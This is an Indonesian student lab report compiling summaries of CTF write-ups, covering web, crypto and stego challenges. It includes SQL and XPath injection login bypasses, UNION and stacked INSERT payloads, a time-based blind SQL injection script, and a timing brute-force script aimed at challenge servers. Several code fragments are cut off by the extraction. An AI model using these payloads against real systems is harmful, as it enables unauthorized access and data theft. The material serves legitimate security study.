• Tidak ada hasil yang ditemukan

TUGAS AKHIR JARINGAN KOMPUTER 100 SOAL C

N/A
N/A
Protected

Academic year: 2018

Membagikan "TUGAS AKHIR JARINGAN KOMPUTER 100 SOAL C"

Copied!
172
0
0

Teks penuh

(1)

LAPORAN TUGAS AKHIR

PRAKTIKUM JARINGAN KOMPUTER

“RANGKUMAN WRITE UP CTF TIME”

Disusun untuk Memenuhi Mata Kuliah Praktikum Jaringan Komputer yang Dibimbing oleh Bapak Irawan Dwi Wahyono, S.T., M.Kom

Disusun Oleh:

Katya Lindi Chandrika 140535605307 Ni’matul Rochmaniyah 140535606481

UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK

JURUSAN TEKNIK ELEKTRO

(2)

i

Contents

DEF CON CTF Qualifier 2013 - 3dub 1 ... 1

DEF CON CTF Qualifier 2013 - 3dub 2 ... 3

Mozilla CTF 2012 - Spark – Underwater Camouflage ... 4

VOLGA CTF 2014 Quals - Web 100 ... 5

BackdoorCTF 2014 - Web100 UnderscoreJS ... 22

BackdoorCTF 2014 - Web 200 ... 23

BackdoorCTF 2014 - Web 250 Yaml ... 24

Sharif University CTF 2014 - Rolling hash ... 25

Pwnium CTF 2014 - XWebSite ... 26

EKOPARTY CTF 2015 - XOR Crypter ... 37

Internetwache CTF 2016 - Quick Run ... 38

Internetwache CTF 2016 - The hidden message ... 39

Internetwache CTF 2016 - Crypto-pirat ... 40

Internetwache 2016 - Replace with grace ... 42

(3)

ii

Internetwache CTF 2016 - Texmaker ... 45

Nuit de Hack Quals 2014 - carbonara ... 47

Nuit de Hack Quals 2014 - Here kitty kitty ... 48

Olympic CTF 2014 - Binathlon 10 – Just no one ... 49

Olympic CTF 2014 - Out there ... 50

Olympic CTF 2014 – as seen on defcon ... 51

Olympic CTF 2014 - crypting ... 52

BackdoorCTF 2014 – wifi password ... 54

ASIS CTF Finals 2014 - caplow ... 56

ASIS CTF 2014 Quals - Plough ... 57

Sharif University CTF Quals 2014 – Decrypt the message! ... 62

Sharif University CTF Quals 2014 – AES Broken ... 64

DEF CON CTF Qualifier 2013 - Symphony ... 66

PlaidCTF 2015 – strength ... 68

VolgaCTF 2015 Quals - rsa ... 70

Hack.lu CTF 2012 – zombie talk ... 73

Hack.lu CTF 2012 ... 75

29c3 CTF - pwsafe ... 76

EBCTF Teaser 2013 – crypto100 ... 77

ASIS CTF Finals 2013 ... 78

Securinets CTF Quals 2015 - cookie ... 81

Securinets CTF Quals 2015 – No choice ... 82

Boston Key Party CTF 2015 – Northeastern Univ ... 83

SECCON 2015 - Nonogram ... 85

School CTF 2015 – Awesome web ... 91

School CTF 2015 – Lazy Cryptanalyst ... 92

School CTF 2015 – Highly proffesional ... 93

BCTF 2016 – special RSA ... 94

PlaidCTF 2014 - twenty ... 97

9447 Security Society CTF 2015 – flag finder ... 99

9447 Security Society CTF 2015 - imaged ... 100

9447 Security Society CTF 2015 – sanutf8y_check ... 101

9447 Security Society CTF 2015 - dubkey ... 102

SECCON CTF 2015 – Last Challenge ... 103

SECCON CTF 2015 – start seccon ctf ... 104

(4)

iii

SECCON CTF 2015 – decrypt it ... 107

9447 CTF 2015 - nicklesndimes ... 108

SECCON CTF 2015 – Individual Elebin ... 112

InsomniHack 2016 – Bring the noise ... 113

Break In 2016 – you can(t) see me ... 115

Break In 2016 – find the idiot ... 116

Break In 2016 – eight circle of hell ... 117

Break In 2016 – three thieves threw trumpets through trees ... 118

CSAW CTF Qualification Round 2015 – crypto 50 ... 119

HackIm CTF 2016 – Crypto question 1 ... 120

HackIm CTF 2016 – crypto question 2... 121

HackIm CTF 2016 – crypto question 3... 123

HackIm CTF 2016 – crypto question 4... 124

HackIm CTF 2016 – crypto question 5... 125

TU CTF 2016 – never ending crypto level 1-9 ... 126

Hack Lu CTF 2016 - redacted ... 132

Hack The Dragon CTF 2016 – rev elf ... 139

Hack The Dragon CTF 2016 – wordpress plugin ... 140

HITCON CTF Qualification 2016 – let’s decrypt ... 141

TU CTF 2016 – secure transmission ... 143

Hack The Dragon CTF 2016 – mesin 5 ... 145

Burning CTF 2015 – decrypt RSA ... 146

Trend Micro CTF 2015 – cryptography 100 ... 147

Ghost in the Shellcode 2014 - dogecrypt ... 151

Sharif University CTF 2014 – iran pro league ... 153

VolgaCTF 2015 Quals - MIDI ... 156

Teaser CONFidence CTF 2015 – Power level... 158

Teaser CONFidence CTF 2015 – practical numerology ... 161

Teaser CONFidence CTF 2015 – apache underwear ... 163

ASIS CTF Qulas 2015 – strange authen ... 165

(5)

1

DEF CON CTF Qualifier 2013 - 3dub 1

source: http://blogs.univ-poitiers.fr/e-laize/2013/06/17/dc21_3dub_1/

01

URL: http://badmedicine.shallweplayaga.me:8042

Ketika text field username diberi input phoenix maka halaman web akan menampilkan pesan

success!

logged in as phoenix

the key is only for the admin

Ketika text field username diberi input admin maka halaman web menampilkan pesan

admin login disabled

Langkah pertama dilakukan dengan menginspeksi header HTTP

POST /login HTTP/1.1

Host: badmedicine.shallweplayaga.me HTTP/1.1 303 See Other

Date: Mon, 17 Jun 2013 13:44:10 GMT Location: /welcome

Set­Cookie: username=2bf80e Transfer­Encoding: chunked

Content­Type: text/plain; charset=utf­8

Direktori /login sepertinya mengenkripsi username lalu redirect pada /welcome Jika username adalah “admin”, maka cookie tidak diset

Langkah kedua melakukan percobaan untuk menebak skema enkripsi pada cookie dengan cara memasukkan berbagai username sebagai berikut

USERNAME COOKIE USERNAME COOKIE

aaaa 09 cd 29 94 af adaaa 09 c8 29 94 af

admaa 09 c8 25 94 af admia 09 c8 25 9c af

admin0 09 c8 25 9c a0 1e admin1 09 c8 25 9c a0 1f

(6)

2

GET /welcome HTTP/1.1

Host: badmedicine.shallweplayaga.me Cookie: username=09c8259ca0

­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ HTTP/1.1 200 OK

Date: Mon, 17 Jun 2013 14:21:55 GMT Transfer­Encoding: chunked

Content­Type: text/html; charset=utf­8

f4

<!DOCTYPE html> <html>

<head>

<title>badmedicine</title> </head>

<body>

<h1>badmedicine</h1> <h2>success!</h2> <p>logged in as admin</p>

<p>The key is: who wants oatmeal raisin anyways twumpAdby </p>

</body> </html>

(7)

3

DEF CON CTF Qualifier 2013 - 3dub 2

source: http://www.blue-lotus.net/def-con-ctf-qualifier-2013-3dub-2-writeup/

02

URL: http://babysfirst.shallweplayaga.me:8041/

Awalnya login menggunakan

username: admin' or '1'='1 password: admin' or '1'='1

Berhasil login namun sebagai root namun halaman web tidak menampilkan apa-apa. Melihat dari header, problem ini sepertinya adalah SQLi problem

Dengan query ini

a' UNION ALL SELECT sqlite_version() ­­

Dapat dilihat bahwa angka yang merepresentasikan database dibalik halaman web adalah sqlite.

Sehingga masukkan query berikut

a' UNION ALL SELECT name from sqlite_master ­­

Halaman web akan menampilkan

babysfirst success!

logged in as keys

Selanjutnya untuk mendapatkan key gunakan query berikut

a' UNION ALL SELECT * from keys ­­

(8)

4

Mozilla CTF 2012 - Spark – Underwater Camouflage

source:

http://blog.squareroots.de/en/2012/01/mozillactf-write-up-underwater-camouflage-250/

03

Salah satu challenge pada MozillaCTF adalah untuk menentukan bagaimana Password Recovery Token digenerate.

“There’s something fishy (mencurigakan) about the generation of recovery token. Find out how to generate them for other accounts!”

Token dapat dilihat langsung setelah logging in dan melihat detail user. Untuk mengumpulkan informasi bagaimana algoritma generate ini, dibuatlah tiga akun dan melihat perbedaan dari tiap token yang dihasilkan.

sqrts1;sqrts@mailinator.com;NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo= sqrts2;sqrts1@mailinator.com;NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ= sqrts3;sqrts2@mailinator.com;NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=

Dapat dilihat perbedaan yang jelas antara user pertama dan user kedua, namun hanya sedikit perbedaan dari user kedua dan ketiga. Melihat dari token yang telah tergenerate, ada perbedaan pada byte ke-8. Perbedaan diantara sqrts1 dan sqrts2 sangat jelas, diantara sqrts2 dan sqrts3 hanya satu bit. Karena perbedaan inilah, dipercayai bahwa alamat e-mail digunakan sebagai input untuk mengenerate token dan bukan karena username.

Diketahui bahwa base64 menyandikan 6 bytes sedangkan base256 menyandikan 8 bytes. Sehingga digunakanlah 8 bytes pertama dari token dan 6 bytes dari alamat e-mail. Melihat dari hasil, dimungkinkan bahwa dilakukan enkripsi XOR.

Sehingga dilakukanlah pengecekan XOR

print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")

Yang menghasilkan

Flag:

Hasil menunjukkan bahwa token terbentuk dari enkripsi XOR. Tetapi, alamat e-mail yang telah didaftarkan sebelumnya hanya memiliki 21 karakter, padahal base64 menghasilkan token sepanjang 47 karakter. Sehingga dibuatlah alamat email yang panjang, kemudian mendaftarkan e-mail tersebut.

wearelookingforreallylongxorkeysinthischallenge@mailinator.com

Alamat email diatas menghasilkan token

MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=

(9)

5

VOLGA CTF 2014 Quals - Web 100

source: http://ctfwriteups.blogspot.co.id/2014/03/volga-ctf-2014-quals-web-100.html

04

URL: http://tasks.2014.volgactf.ru:28101/

Langkah pertama dilakukan aksi login

Melihat dari hasil, problem ini berkaitan tentang php session id. Terdapat sebuah komentar pada source page html yang mengatakan help.php, sehingga dilakukan load halaman tersebut

Berikut ini adalah hasil yang ditampilkan browser. Pada text field link terdapat link dengan variabel PHPSESSID.

(10)

6

ASIS Quals 2014 – Crypto Random Image

source: http://blogs.univ-poitiers.fr/e-laize/2014/05/10/asis-2014-randomimage/

05

URL: http://asis-ctf.ir/challenges/

Folder memiliki 2 file

$ tar xvfJ crypto_150_8f3fd5d2bacd408904b8406c19183c23 x color_crypto.py

x enc.png

color_crypto.py adalah source code algoritma enkrpsi file PNG menggunakan bahasa pemrograman Python.

#!/usr/bin/env python

import Image import random

def get_color(x, y, r):

n = (pow(x, 3) + pow(y, 3)) ^ r return (n ^ ((n >> 8) << 8 ))

flag_img = Image.open("flag.png") im = flag_img.load()

r = random.randint(1, pow(2, 256)) print flag_img.size

enc_img = Image.new(flag_img.mode, flag_img.size) enpix = enc_img.load()

for x in range(flag_img.size[0]):

for y in range(flag_img.size[1]):

t = random.randint(1, pow(2, 256)) % 250 enpix[x,y] = t

for x in range(flag_img.size[0]):

for y in range(flag_img.size[1]): if im[x,y] < 250 :

s = get_color(x, y, r) enpix[x,y] = s

enc_img.save('enc' + '.png')

enc.png adalah gambar grayscale 8-bit

Analisis algoritma

Skema algoritma bergantung pada grayscale threshold. Pada dasarnya dalam gambar original:

 IF level pixel gray >= 250 THEN dianggap sebagai pixel terang

 IF level pixel gray < 250 THEN dianggap sebagai pixel gelap Statement tersebut menyandikan gambar

 Pixel terang akan disubstitusikan dengan nilai random

random.randint(1, pow(2, 256)) % 250

(11)

7

n = (pow(x, 3) + pow(y, 3)) ^ r

kemudian perhitungan di atas akan mengembalikan kurang dari 8 bit

n ^ ((n >> 8) << 8 )

perhitungan tersebut ekuivalen n & 0xff

Kelemahan

Kelemahan dari perhitungan di atas adalah tiap pixel dengan koordinat x dan y dikenal sebagai nilai konstan r.

1. Tiap nilai pixel dari gambar yang telah disandikan di XOR dengan nilai (x3 + y3) 2. Sehingga byte yang kurang penting dari r adalah nilai yang paling sering terjadi

3. Akhirnya

 Jika sebuah pixel dari gambar yang telah disandikan XOR (x3 + y3) = nilai byte yang kurang penting dari r, maka pixel dari gambar original adalah gelap atau hitam

 Atau pixel dari gambar original adalah terang atau putih

Mungkin ada beberapa pixel yang dianggap gelak ketika mereka cerah karena nilai random namun secara statistik mereka akan sedikit

Dekoder menggunakan bahasa pemrograman Python

import Image

enc_img = Image.open('enc.png') enc_pix = enc_img.load()

# 1. XOR all pixel values with corresponding (x**3 + y**3) pow_pix = [(enc_pix[x,y] ^ (x**3 + y**3)) & 0xff

for x in range(enc_img.size[0]) for y in range(enc_img.size[1])]

# 2. r_LSbyte = most frequently occurring byte

r_LSbyte = max([b for b in range(0x100)], key = pow_pix.count)

flag_img = Image.new(enc_img.mode, enc_img.size) flag_pix = flag_img.load()

for x in range(enc_img.size[0]): for y in range(enc_img.size[1]):

if ((enc_pix[x, y] ^ (x**3 + y**3)) & 0xff == r_LSbyte):

(12)

8

ASIS Quals 2014 – Web Hidden Flag

source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-hiddenflag/

06

URL: http://asis-ctf.ir/challenges/

Untuk menyelesaikan problem ini, diharuskan menemukan flag tersembuyi. Pada dasarnya, untuk mencari flag harus melihat secara detail pada halaman website. Satu cara yang bagus dan mudah adalah dump paket jaringan dari halaman web dan mencari beberapa kata pilihan. Untuk menggunakan cara ini, tentu saja harus menonaktifkan pengkodeab gzip/deflate pada browser untuk melihat html polos. Kemudian dengan menggunakan tcpdump sederhana dalam bentuk ASCII dan grep akan menampilkan flag sementara

$ tcpdump ­A ­s 16384 host asis­ctf.ir | grep ­i 'asis_\|flag'

...

X­Flag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1 ...

Terlihat seperti flag yang valid, diambil dari header respon HTTP dari website CTF. Setelah itu mencari kemungkinan dari tanda ?

Menemukan flag yang tepat

Submission board ASIS memiliki fungsionalitas yang menarik, yang memeriksa flag sebelum mengirimnya pada website asis-ctf.ir

<script src="/static/js/sha256.js"></script> <script>

$(document).on('hidden.bs.modal', function (e) { e.preventDefault();

$(e.target).removeData('bs.modal');

});

var i=0;

var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];

var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){ e.preventDefault();

var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT"); var hash = shaObj.getHash("SHA­256", "HEX");

var shaObj2 = new jsSHA(hash, "TEXT"); var hash2 = shaObj2.getHash("SHA­256", "HEX");

if (document.forms["flag_submission"]["check"].value !== hash2) { if ($("#id_flag").next().length == 0){

$('<div class="alert alert­danger" id="answer" ></div>').insertAfter('#id_flag'); }

if (i++>6){

$('#answer').removeClass('alert­danger').addClass('alert'); $('#answer').text(final_result);

}

(13)

9

$("#modal­dialog").modal('hide'); },

error: function(){ alert("failure"); }

}); }); </script>

Sehingga flag yang telah dikirim dilakukan hash sebanyak dua kali menggunakan SHA-256 dan hasilnya dibandingkan dengan form check, dimana pada problem ini adalah:

<input id="id_check" name="check"

value="61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc" type="hidden">

Jadi, dilakukanlah bruteforce untuk 4 karakter yang belum diketahui dengan menggunakan script di bawah ini

import string

from hashlib import sha256

check = '61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc' for h1 in string.hexdigits:

for h2 in string.hexdigits: for h3 in string.hexdigits: for h4 in string.hexdigits:

FLAG = 'ASIS_b6b'+h1+'244608c2'+h2+'c2e869cb56'+h3+'67b64'+h4+'b1' if sha256(sha256(FLAG).hexdigest()).hexdigest() == check:

print 'Found flag:', FLAG break

(14)

10

ASIS 2014 final - PTOT

source: http://blogs.univ-poitiers.fr/e-laize/2014/10/13/asis-2014-ptot/

07

URL: https://asis-ctf.ir/tasks/PTOT_1d23c8694e5cf6727b9ed21285a0d61f Deskripsi

Temukan flag pada image (PTOT_1d23c8694e5cf6727b9ed21285a0d61f)

Hal pertama yang harus dilakukan adalah menemukan gambar apakah yang diberikan

Dengan menggunakan google image akan ditemukan beberapa link menarik seperti ini sebagai contoh

http://www.voiceonapage.com/ProjectsTypography/Typeface%20Poster/PTOT.pdf

Jadi, PTOT adalah singkatan dari Periodic Table of Typefaces. Dapat diperhatikan pada gambar beberapa font tidak pada tempatnya, dan beberapa muncul 2 atau 3 kali. Sehingga dibuatlah tabel seperti berikut agar mengetahui perbedaan (original rank --> crypto rank | crypto symbol)

(15)

11 string hex menjadi ASCII akan didapaykan string dengan panjang 36 karakter dan diakhiri dengan sesuatu seperti nilai md5 yaitu

H=format(324878083202626694117443567177148322190861294622618211941523751741739958462509854242915, 'x')

print H.decode("hex")

>>> ?;??d?hI<q"Cv?f?%?,??/¦38???ca808c

Setelah itu mengira-ngira dimanakah letak byte yang hilang, dapat diperhatikan pada tabel perbedaan dimana terdapat tiga satu-digit nomor. Dengan menambahkan 0 pada angka-angka berikut (kecuali yang pertama untuk menghindari konversi oktal pada bahasa pemrograman python), nilai hex akan memberikan string dengan panjang 37 karakter yang merupakan final flag.

H=format(3248780832026260694117443567177148322019086129462261821194152375174173995846250985424291 5, 'x')

print H.decode("hex")

>>> ASIS_c9a1cd21db5d38923562fccabbca808c

(16)

12

BackdoorCTF 2014 - Web 10

source: http://ctfwriteups.blogspot.co.id/2014/03/backdoor-ctf-2014-web-10.html

08

Pertanyaan:

H4x0r adalah seseorang yang penasaran. Ia biasanya melihat secara detail. H4x0r berhasil menemukan flag pada tingkat ini. Bisakah kamu?

Melihat pada header HTTP maka akan terlihat flag

(17)

13

ASIS CTF 2014 RECON - Fact or Real

source: http://ctfwriteups.blogspot.co.id/2014/10/asis-ctf-2014-recon-fact-or-real.html

09

Hal pertama yang dilakukan adalah mengecek twitter handle dari ASIS kemudian ditemukan bahwa biasanya orang yang bernama factoreal adalah orang utama pada hosting asis-ctf. Ketika dilakukan pengecekan pada foto twitternya, terdapat clue atau hint “fact or real” dan motto pada gambar: “NO+$=YES”

Flag adalah ASIS_md5(NO+$=YES)

(18)

14

ASIS CTF 2013 - login

source:http://www.blue-lotus.net/asis-ctf-finals-2013-login/

10

URL: http://blog.deadcat.me/writeup/2013/09/01/asis-ctf-finals-2013-login/

Setelah membuka URL di atas ditampilkan sebuah form login. Ketika membicarakan form login maka hal pertama yang ada pada benak adalah SQL injection.

Setelah beberapa kali testing, akhirnya ditemukan injection time-based pada field username menggunakan

1' AND BENCHMARK(5000000,MD5(0x123)) AND ''='

Hal ini dapat diselesaikan dengan menggunakan sqlmap namun cara ini terlalu lama dan menampilkan beberapa kesalahan.

Dengan menggunakan script bahasa pemrograan Python untuk menyelesaikan problem, lalu menemukan beberapa informasi yang berharga. Ada tiga database yaitu

information_schema sqli_db

test

Ada database yang sangat mencurigakan yaitu sqli_db

Didalam database tersebut hanya terdapat sebuah tabel dengan nama users Tabel users memiliki empat field yaitu

user_id user_name user_email

user_password_hash

Awalnya, dilakukan pengambilan data dari tabel tersebut namun tidak ditampilkan apa-apa, namun beberapa waktu kemudian didapatkan sebuah string dari field user_password_hash

$2y$10$gyI0vxnE3ZncmdLNGVmwTew/aPwBZPY4cEMCRENAjN4?0l8iu9O5R6iW

Dilakukan pencarian “$2y$10” dengan menggunakan google, dapat diketahui bahwa string tersebut adalah head dari metode enkripsi blowfish hash PHP, namun kelihatannya tidak bisa mendapatkan nilai asli dari string tersebut.

Hint:

$2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG

Pada waktu itu, admin memberikan hint pada problem ini

(19)

15 Pada waktu yang sama, tiba-tiba isi dari tabel user menghilang. Karena hal tersebut maka dilakukan percobaan menggunakan query INSERT

';insert into users values (333,'hqd','1','1@1.com');select '

Dan akhirnya berhasil. Dengan sangat mudah, lakukan penambahan data hash dari password. Ada script PHP yang dapat melakukan hal ini

';insert into users values

(333,'hqd','$2y$10$YTNlM2RiNmFiODgzZGM2YuYqP7NHnuZ31TyucetPJkODqia/XH5KC','1@1. com');select '

#this is the blowfish hash value of 'admin'

Lalu kembali login menggunakan username: hqd dan password: admin kemudian muncul flag

ASIS_9689926853009CAAD5BF824863077DC9

Source code yang digunakan f.py

from httplib import HTTPConnection

HTTPConnection._http_vsn_str = 'HTTP/1.0'

def post_payload( payload ):

conn = HTTPConnection( '78.38.193.187' )

conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'Content­Type', 'application/x­www­form­urlencoded' ) conn.putheader( 'Content­Length', str(len(payload)) )

conn.endheaders( message_body=payload ) resp = conn.getresponse()

resp.read()

from urllib import urlencode from time import time

def get_bool( expression ): start = time()

post_payload( urlencode( dict( login = '',

user_password = ' ',

user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression, ) ) )

end = time()

print 'Time:', end­start return end­start&gt;0.95

def get_bit( expression ):

return '1' if get_bool( expression ) else '0'

from itertools import count

(20)

16

# def get_query( expression ):

# print get_string( 'database()' )

print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' )

# print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' )

(21)

17

ASIS Quals 2014 - Image

source: http://blog.rentjong.net/2014/05/asis-quals-2014-image-trivia-50.html

11

URL: http://asis-ctf.ir/tasks/joy/trivia_50_88da3c57a7b4489036943d35d551cab2

Challenge ini sebenarnya cukup mudah dan terlihat dari poin yang diberikan (50) :), hal yang membuat sedikit frustasi adalah karena flag yang di dapatkan tetap harus di "bruteforce" untuk mendapatkan flag yang tepat, dan ternyata ada hint: yang harus menghubungi panitia terkait flag yang tepat.

Seluruh challenge umumnya merupakan file yang di kompresi 2 kali 7z (xz) dan tar, kemudian untuk challenge ini didapatkan file sbb:

Bagi para gamer atau yang merupakan penggemar nintendo pasti akan langsung mengetahui bahwa ini adalah file game untuk nintendo, dan untuk OSX terdapat free emulator yang dapat di pergunakan (salah satunya Nestopia)

Untuk mendapatkan flag-pun kita hanya perlu memainkan game tersebut pada mode "flag" dan apabila selesai stage 1 akan didapatkan flag

(22)

18

ASIS CTF Quals 2014 - Spy Paper

source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html

12

URL: http://asis-ctf.ir/tasks/stego/steg_100_282d645e3be22eda015aeb255a0b86f5 Deskripsi

Download file pada URL di atas kemudian kalkulasi hasil dengan metode MD5 dan menambahkannya setelah “ASIS_”

Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail. Namun sayangnya, ditemukan keanehan dan keganjalan dalam gambar biru ini dan titik-titik yang mengingatkan pada punched tape dimana sangat dekat dengan solusi akhir. Dan akhirnya dapat ditemukan parity bits dan decrypt pada bagian kedua, namun sayangnya tidak dapat ditemukan hal yang penting dan berguna pada bagian pertama.

(23)

19

ASIS CTF Quals 2014 - White noise

source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html

13

URL: http://asis-ctf.ir/tasks/stego/steg_250_8be7a320b7cbc2696f352cb42e717a0b

Analisa histogram menunjukkan bahwa nilai pada channel green dan blue terbagi rata, dan alasan dibalik semua ini adalah digukan sebagi koordinat untuk mengatur ulang pixel.

Namun, red channel hanya memiliki 1 nilai yaitu 126 sehingga akan sia-sia jika mengatur ulang seluruh gambar. Akan didapatkan gambar persegi merah saja sehingga dilakukan pengaturan dengan menggunakan 30 baris pertama dari gambar untuk penataan ulang dan akhirnya akan didapatkan flag

(24)

20

BackdoorCTF 2014 - Web 30

source:

http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-30-eng.html

14

URL: http://backdoor.cognizance.org.in/problems/web30/

Langkah pertama yang dilakukan adalah masuk pada secure zone

http://backdoor.cognizance.org.in/problems/web30/auth.php?

Dengan begitu server akan merespon “Sorry, you will never get a flag in your life :P Not authorized”

Selanjutnya buka get-request menggunakan development tools pada browser. Sebagai catatan, cookie auth = false telah diset.

Ubah nilai menjadi true kemudia buka halaman secure zone dan akhirnya akan didapatkan flag:

(25)

21

BackdoorCTF 2014 - Web 100

source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup

15

Tentu saja web server menampilkan file gambar untuk menilainya. Setelah itu melihat request dengan cara mengetikkan

netcat ­lkv 54321

Dan submit link image

http://YOURIP:54321/

Sehingga akan mendapatkan tulisan seperti berikut

listening on [any] 54321 ...

connect to [YOURIP] from backdoor.cognizance.org.in [128.199.215.224] 46845

GET / HTTP/1.1 Host: YOURIP:54321 Accept: */*

X-Referrer: 92702a9381515494689f5d14f85a83b7.php

Ada sesuatu yang menarik yaitu Referrer. Selanjutnya dicoba untuk mengakses url tersebut yang berisi pesan

By the way, the flag is f556b9a48a3ee914f291f9b98645cb02

Pada komentar HTML

(26)

22

BackdoorCTF 2014 - Web100 UnderscoreJS

source:

http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-100-2-eng.html

16

URL: http://backdoor.cognizance.org.in/problems/web100-2/ Format flag: md5_string

form menggunakan JSON, template. Diketahui bahwa underscore.js dapat digunakan sebagai template library. Kode juga telah diberikan.

Pertama-tama, buka kode dan cari flag (dapat ditemukan di app.js) if(!process.env.FLAG)

{

console.error("No flag in environment"); process.exit(1);

}

Lalu tampilkan hasilnya. Kemudian isi form yang ada di bawah (data = JSON valid, template = single statement seperti di bawah ini)

(27)

23

BackdoorCTF 2014 - Web 200

source: https://scoding.de/backdoorctf-2014-writeup

17

URL: http://backdoor.cognizance.org.in/problems/web200/submit.php

Problem:

H4x0r baru-baru ini membuat server baru. Karena malas, dia tidak mensetting servernya dengan baik dan menemukan bahwa severnya agak lambat dan semakin lambat ketika menjalankan query yang panjang. Kepala di perusahaan mencoba untuk mengakses servernya Dia berpikir bahwa server tidak dapat dicrack. Buktikan bahwa ia salah. Format flag = md5_string

Problem ini mencari password untuk halaman login. Di dalam source code, teradapat useleep(20000) dimana dieksekusi ketika huruf yang telah dicek benar. Untuk melakukan bruteforce pada password, ditulislah script yang melemparkan exception jika waktu yang diberikan terlampaui.

#!/usr/bin/env python

import urllib2

import string

alpha=string.letters+string.digits

url="http://backdoor.cognizance.org.in/problems/web200/submit.php?key="

r=urllib2.urlopen(url+test_key, timeout=t)

except:

if len(password)&lt;=i: password+=a

print password

break

r=urllib2.urlopen(url+password)

print r.read()

Dengan cara ini didapatkan password huruf demi huruf

./brute.py

(28)

24

BackdoorCTF 2014 - Web 250 Yaml

source:

http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-250-eng.html

18

URL: http://backdoor.cognizance.org.in/problems/web250-1/

Format flag: md5_string

Problem ini mirip dengan problem BackdoorCTF 2014 Web100-2 template library yang digunakan adalah mustache. Data dan template disimpan pada satu field (data dimulai dan diakhiri dengan tanda --)

Format data adalah yaml, template library adalah mustache. Solusi yang sama {{process.env.FLAG}}, tidak dapat digunakan. Yaml menggunakan data type yang didefinisikan oleh user. Banyak parser yang mensupport type fungsi javascript.

Masukkan data seperti yang ada pada di bawah ini kemudian klik Convert

(29)

25

Sharif University CTF 2014 - Rolling hash

source: https://ctfcrew.org/writeup/73

19

Task:

flag="*********"

def RabinKarpRollingHash( str, a, n ): result = 0

l = len(str)

for i in range(0, l):

result += ord(str[i]) * a ** (l ­ i ­ 1) % n print "result = ", result

RabinKarpRollingHash(flag, 256, 10**30)

Output adalah

1317748575983887541099 Apa flagnya?

Solusi:

Fungsi hash ini mengambil tiap karakter pada string yang telah diinput kemudian mengkonversinya kedalam tipe data int dan mengalikannya dengan pangkat dari a dan modulo n. Namun melihat dari hash ini

RabinKarpRollingHash(flag, 256, 10**30)

a = 256 dan itu berarti tiap perkalian yang dilakukan dengan a ekuivalen dengan simple left-shifting. Jika input string pendek maka tidak perlu dilakukan perkalian dengan modulo dan mencoba untuk merestore flag dengan menggunakan kode berikut ini

hashed_flag = 1317748575983887541099 result = ""

while hashed_flag > 0: byte = hashed_flag&0xff result += chr(byte)

hashed_flag = hashed_flag ­ byte hashed_flag = hashed_flag >> 8

print result[::­1]

(30)

26

Pwnium CTF 2014 - XWebSite

source: https://ctftime.org/writeup/1160

20

Problem ini adalah kasus tentang injecting sebuah aplikasi web yang rentan. Bukan tentang MySQL melainkan XPATH.

Seseorang dapat melakukan login sebagai admin dengan menuliskan

Username: ' or '1' = '1 Password: ' or '1' = '1

Dan kemudian pada field user tuliskan

' or '1' = '1

Dengan ini akan ditampilkan hasil beserta flag yaitu

(31)

27

Pwnium CTF 2014 - Find the Owner

source:

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-find-the-owner/

21

File yang diberikan adalah file dalam format .exe. Admin berkata bahwa “This file harm to your computer”. Sehingga dapat dikatakan bahwa file ini berbahaya untuk komputer dalam arti lain file ini adalah malicious program atau malware. Untuk menyelesaikan problem ini maka digunakan bantuan tool untuk menganalisis apakah program tersebut memang benar malware atau tidak. Berikut ini langkah-langkah untuk melakukan aktivitas crack:

1. Kunjungi alamat https://anubis.iseclab.org/ untuk online malware analysis tool 2. Kemudan upload file yang telah diberikan

3. Setelah dianalisis maka akan diberikan sebuah file traffic.pcap dan report 4. Observasi report aktivitas iexplore.exe

5. Mendapatkan IP dan alamat port

iexplorer.exe – Network Activity From ANUBIS:1028 to 193.95.68.245:81

(32)

28

Pwnium CTF 2014 - So basic

source:

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-so-basic

22

